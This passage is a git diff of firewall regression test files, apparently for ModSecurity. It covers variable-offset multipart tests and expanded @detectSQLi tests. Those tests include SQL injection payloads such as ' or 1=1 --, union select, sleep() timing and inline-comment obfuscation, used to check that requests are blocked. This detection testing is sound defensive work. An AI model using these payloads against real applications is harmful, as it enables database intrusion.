"SecRequestBodyAccess On", "SecUploadKeepFiles On", "SecUploadDir /tmp", @@ -1733,54 +2222,63 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - FILES_TMP_CONTENT 2", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" - }, - "uri":"/wheee/f%20i%20l%20e%20", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name2\"", - "", - "test2", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; filename=\"small_text_file2.txt\"; name=\"fiasdfasdfledata\" ", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" - ] - }, - "expected":{ - "error_log":"o15,5v560,32t:trim" - }, - "rules":[ + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - FILES_TMP_CONTENT 2", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "624", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/wheee/f%20i%20l%20e%20", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name2\"\n", + "\n", + "test2\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; filename=\"small_text_file2.txt\"; name=\"fiasdfasdfledata\" \n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "----------------------------756b6d74fa1a8ee2--\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "error_log": "o15,5v560,32t:trim", + "http_code": 200 + }, + "rules": [ "SecRequestBodyAccess On", "SecUploadKeepFiles On", "SecUploadDir /tmp", @@ -1788,54 +2286,63 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - PATH_INFO", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" - }, - "uri":"/wheee/f%20i%20l%20e%20", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name2\"", - "", - "test2", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; filename=\"small_text_file2.txt\"; name=\"fiasdfasdfledata\" ", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" - ] - }, - "expected":{ - "error_log":"o6,4v5,23t:trim" - }, - "rules":[ + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - PATH_INFO", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "643", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/wheee/f%20i%20l%20e%20", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name2\"\r\n", + "\r\n", + "test2\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; filename=\"small_text_file2.txt\"; name=\"fiasdfasdfledata\" \r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "----------------------------756b6d74fa1a8ee2--\r\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "error_log": "o6,4v5,23t:trim", + "http_code": 200 + }, + "rules": [ "SecRequestBodyAccess On", "SecUploadKeepFiles On", "SecUploadDir /tmp", @@ -1843,54 +2350,63 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - MULTIPART_FILENAME", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" - }, - "uri":"/wheee/f%20i%20l%20e%20", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name2\"", - "", - "test2", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; filename=\"small_text_file2.txt\"; name=\"fiasdfasdfledata\" ", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" - ] - }, - "expected":{ - "error_log":"o0,20v680,20t:trim" - }, - "rules":[ + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - MULTIPART_FILENAME", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "624", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/wheee/f%20i%20l%20e%20", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name2\"\n", + "\n", + "test2\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; filename=\"small_text_file2.txt\"; name=\"fiasdfasdfledata\" \n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "----------------------------756b6d74fa1a8ee2--\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "error_log": "o0,20v680,20t:trim", + "http_code": 200 + }, + "rules": [ "SecRequestBodyAccess On", "SecUploadKeepFiles On", "SecUploadDir /tmp", @@ -1898,54 +2414,63 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - MULTIPART_NAME", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" - }, - "uri":"/wheee/f%20i%20l%20e%20", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name2\"", - "", - "test2", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; filename=\"small_text_file2.txt\"; name=\"fiasdfasdfledata\" ", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" - ] - }, - "expected":{ - "error_log":"o0,16v709,16t:trim" - }, - "rules":[ + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - MULTIPART_NAME", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "624", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/wheee/f%20i%20l%20e%20", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name2\"\n", + "\n", + "test2\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; filename=\"small_text_file2.txt\"; name=\"fiasdfasdfledata\" \n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "----------------------------756b6d74fa1a8ee2--\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "error_log": "o0,16v709,16t:trim", + "http_code": 200 + }, + "rules": [ "SecRequestBodyAccess On", "SecUploadKeepFiles On", "SecUploadDir /tmp", @@ -1953,65 +2478,217 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - ARGS n", - "request":{ - "headers":{ - "Host":"localhost", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - ARGS n", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/index.html?param01=5555&bbbbbbbmy_id=6", - "method":"GET" + "uri": "/index.html?param01=5555&bbbbbbbmy_id=6", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "http_code": 403, - "error_log":"o0,1v42,1" + "expected": { + "error_log": "o0,1v42,1", + "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@contains 6\" \"id:1,phase:2,deny,status:403,log\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - ARGS_NAMES n", - "request":{ - "headers":{ - "Host":"localhost", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - ARGS_NAMES n", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/index.html?param01=5555&bbbbbbbmy_id=6", - "method":"GET" + "uri": "/index.html?param01=5555&bbbbbbbmy_id=6", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "http_code": 403, - "error_log":"o7,5v29,12" + "expected": { + "error_log": "o7,5v29,12", + "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS_NAMES \"@contains my_id\" \"id:1,phase:2,deny,status:403,log\"" ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - MULTIPART_FILENAME (percent-encoded filename*)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "634", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/wheee/f%20i%20l%20e%20", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name2\"\n", + "\n", + "test2\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; filename*=UTF-8''small%5Ftext%5Ffile2.txt; name=\"fiasdfasdfledata\" \n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "----------------------------756b6d74fa1a8ee2--\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "error_log": "o0,20v686,20t:trim", + "http_code": 200 + }, + "rules": [ + "SecRequestBodyAccess On", + "SecUploadKeepFiles On", + "SecUploadDir /tmp", + "SecRule MULTIPART_FILENAME \"small_text_file2.txt\" \"id:1,phase:3,pass,t:trim,msg:'s'\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - FILES (percent-encoded filename*)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "634", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/wheee/f%20i%20l%20e%20", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name2\"\n", + "\n", + "test2\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file1.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; filename*=UTF-8''small%5Ftext%5Ffile2.txt; name=\"fiasdfasdfledata\" \n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "----------------------------756b6d74fa1a8ee2--\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "error_log": "o0,16v686,20t:trim", + "http_code": 200 + }, + "rules": [ + "SecRequestBodyAccess On", + "SecUploadKeepFiles On", + "SecUploadDir /tmp", + "SecRule FILES \"small_text_file2\" \"id:1,phase:3,pass,t:trim,msg:'s'\"" + ] } ] diff --git a/test/test-cases/regression/operator-UnconditionalMatch.json b/test/test-cases/regression/operator-UnconditionalMatch.json index 5f73a2ec2e..babba6d509 100644 --- a/test/test-cases/regression/operator-UnconditionalMatch.json +++ b/test/test-cases/regression/operator-UnconditionalMatch.json @@ -1,44 +1,46 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Operator :: @UnconditionalMatch", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing Operator :: @UnconditionalMatch", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Rule returned 1" + "expected": { + "debug_log": "Rule returned 1", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@UnconditionalMatch\" \"id:1,phase:2,pass,t:trim\"" ] diff --git a/test/test-cases/regression/operator-detectsqli.json b/test/test-cases/regression/operator-detectsqli.json index e2e33c908f..ee46f2283f 100644 --- a/test/test-cases/regression/operator-detectsqli.json +++ b/test/test-cases/regression/operator-detectsqli.json @@ -1,46 +1,465 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Operator :: @detectSQLi", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "title": "Testing Operator :: @detectSQLi :: known stable fingerprint ascii substring", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "61", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=ascii(substring(version() from 1 for 1))¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "expected": { + "http_code": 403, + "debug_log": "Added DetectSQLi match TX.0: f\\(f\\(f" + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@detectSQLi\" \"id:1201,phase:2,capture,pass,t:trim,setvar:tx.sqli_hit=1\"", + "SecRule TX:sqli_hit \"@eq 1\" \"id:2201,phase:2,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "title": "Testing Operator :: @detectSQLi :: trim still detects stable fingerprint", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "67", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/", + "method": "POST", + "body": [ + "param1= ascii(substring(version() from 1 for 1)) ¶m2=value2" + ] + }, + "expected": { + "http_code": 403, + "debug_log": "Added DetectSQLi match TX.0: f\\(f\\(f" + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@detectSQLi\" \"id:1202,phase:2,capture,pass,t:trim,setvar:tx.sqli_hit=1\"", + "SecRule TX:sqli_hit \"@eq 1\" \"id:2202,phase:2,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "title": "Testing Operator :: @detectSQLi :: boolean based payload", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "33", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/", + "method": "POST", + "body": [ + "param1=' or 1=1 -- ¶m2=value2" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@detectSQLi\" \"id:1203,phase:2,capture,pass,t:trim,setvar:tx.sqli_hit=1\"", + "SecRule TX:sqli_hit \"@eq 1\" \"id:2203,phase:2,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Added DetectSQLi match TX.0: f\\(f\\(f" + "title": "Testing Operator :: @detectSQLi :: union select variation", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "46", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/", + "method": "POST", + "body": [ + "param1=-1 union select 1,2,3 -- ¶m2=value2" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@detectSQLi\" \"id:1204,phase:2,capture,pass,t:trim,setvar:tx.sqli_hit=1\"", + "SecRule TX:sqli_hit \"@eq 1\" \"id:2204,phase:2,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "title": "Testing Operator :: @detectSQLi :: time function payload", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "38", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/", + "method": "POST", + "body": [ + "param1=1;select sleep(1)¶m2=value2" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@detectSQLi\" \"id:1205,phase:2,capture,pass,t:trim,setvar:tx.sqli_hit=1\"", + "SecRule TX:sqli_hit \"@eq 1\" \"id:2205,phase:2,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "title": "Testing Operator :: @detectSQLi :: inline comment obfuscation", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "35", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/", + "method": "POST", + "body": [ + "param1=1/**/or/**/1=1¶m2=value2" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@detectSQLi\" \"id:1206,phase:2,capture,pass,t:trim,setvar:tx.sqli_hit=1\"", + "SecRule TX:sqli_hit \"@eq 1\" \"id:2206,phase:2,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "title": "Testing Operator :: @detectSQLi :: benign identifier with sql words", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "38", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/", + "method": "POST", + "body": [ + "param1=selective_catalog¶m2=normal" + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@detectSQLi\" \"id:1207,phase:2,capture,pass,t:trim,setvar:tx.sqli_hit=1\"", + "SecRule TX:sqli_hit \"@eq 1\" \"id:2207,phase:2,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "title": "Testing Operator :: @detectSQLi :: numeric edge case should not match", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "23", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/", + "method": "POST", + "body": [ + "param1=100001¶m2=42" + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@detectSQLi\" \"id:1208,phase:2,capture,pass,t:trim,setvar:tx.sqli_hit=1\"", + "SecRule TX:sqli_hit \"@eq 1\" \"id:2208,phase:2,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "title": "Testing Operator :: @detectSQLi :: capture stores fingerprint in TX.0", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "61", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/", + "method": "POST", + "body": [ + "param1=ascii(substring(version() from 1 for 1))¶m2=value2" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@detectSQLi\" \"id:1209,phase:2,capture,pass,t:trim,setvar:tx.sqli_hit=1\"", + "SecRule TX:0 \"@streq f(f(f\" \"id:2209,phase:2,deny,status:403\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" + }, + "body": [ + "no need." + ] + }, + "title": "Testing Operator :: @detectSQLi :: no capture keeps TX.0 unchanged", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "61", + "Content-Type": "application/x-www-form-urlencoded" + }, + "uri": "/", + "method": "POST", + "body": [ + "param1=ascii(substring(version() from 1 for 1))¶m2=value2" + ] + }, + "expected": { + "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", - "SecRule ARGS \"@detectSQLi\" \"id:1,phase:2,capture,pass,t:trim\"" + "SecRule ARGS \"@detectSQLi\" \"id:1210,phase:2,pass,t:trim,setvar:tx.sqli_hit=1\"", + "SecRule TX:0 \"@streq f(f(f\" \"id:2210,phase:2,deny,status:409\"", + "SecRule TX:sqli_hit \"@eq 1\" 